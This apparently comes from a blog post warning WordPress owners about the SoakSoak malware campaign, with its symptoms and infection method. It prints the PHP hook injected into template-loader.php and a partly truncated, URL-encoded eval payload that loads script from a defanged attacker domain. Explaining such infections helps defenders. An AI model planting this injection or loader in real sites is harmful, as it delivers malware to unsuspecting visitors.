100,000+ WordPress Websites infected By SoakSoak Malware

WordPress is the Best Content Management System (CMS) and number of bloggers and internet marketers uses WordPress CMS for their blog because of its simplicity and awesomeness.

But Recently more than 100,000 WordPress websites/blogs are affected by the SoakSoak Malware. And millions of websites on the internet are currently using WordPress and this Malware can be the great threat.

How to know whether your WordPress websites are infected by SoakSoak Malware ?

Once you are infected with this Malware then you might experience some unexpected redirection to SoakSoack.ru and you will end up downloading malicious files in your computer without your knowledge. 

 Google (The Search Engine giant) has added more than 10,000+ WordPress websites to their blacklisted sites to protect the users and that can effect the revenue of the website owners.

What dose SoakSoak Malware do to your WordPress Website/blog ?

The SoakSoak Malware simply modifies the php file located at wp-includes/template-loader.php and then it will add malicious JavaScript code named "swobject.js"and it will load everytime the user opens your site.

It is modifying the file wp-includes/template-loader.php and including this content:

<?php
function FuncQueueObject()
{
  wp_enqueue_script("swfobject");
}
add_action("wp_enqueue_scripts", 'FuncQueueObject');

This causes the wp-includes/js/swfobject.js to be loaded on every page you view on the site which includes the malware here:

eval(decodeURIComponent 
("%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%3B%0D%0A%09%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0D%0A%7D%28%29%0D%0A%29%3B"));

This malware when decoded loads a javascript malware from the SoakSoack.ru domain, specifically this file: hxxp://soaksoak.ru/xteas/code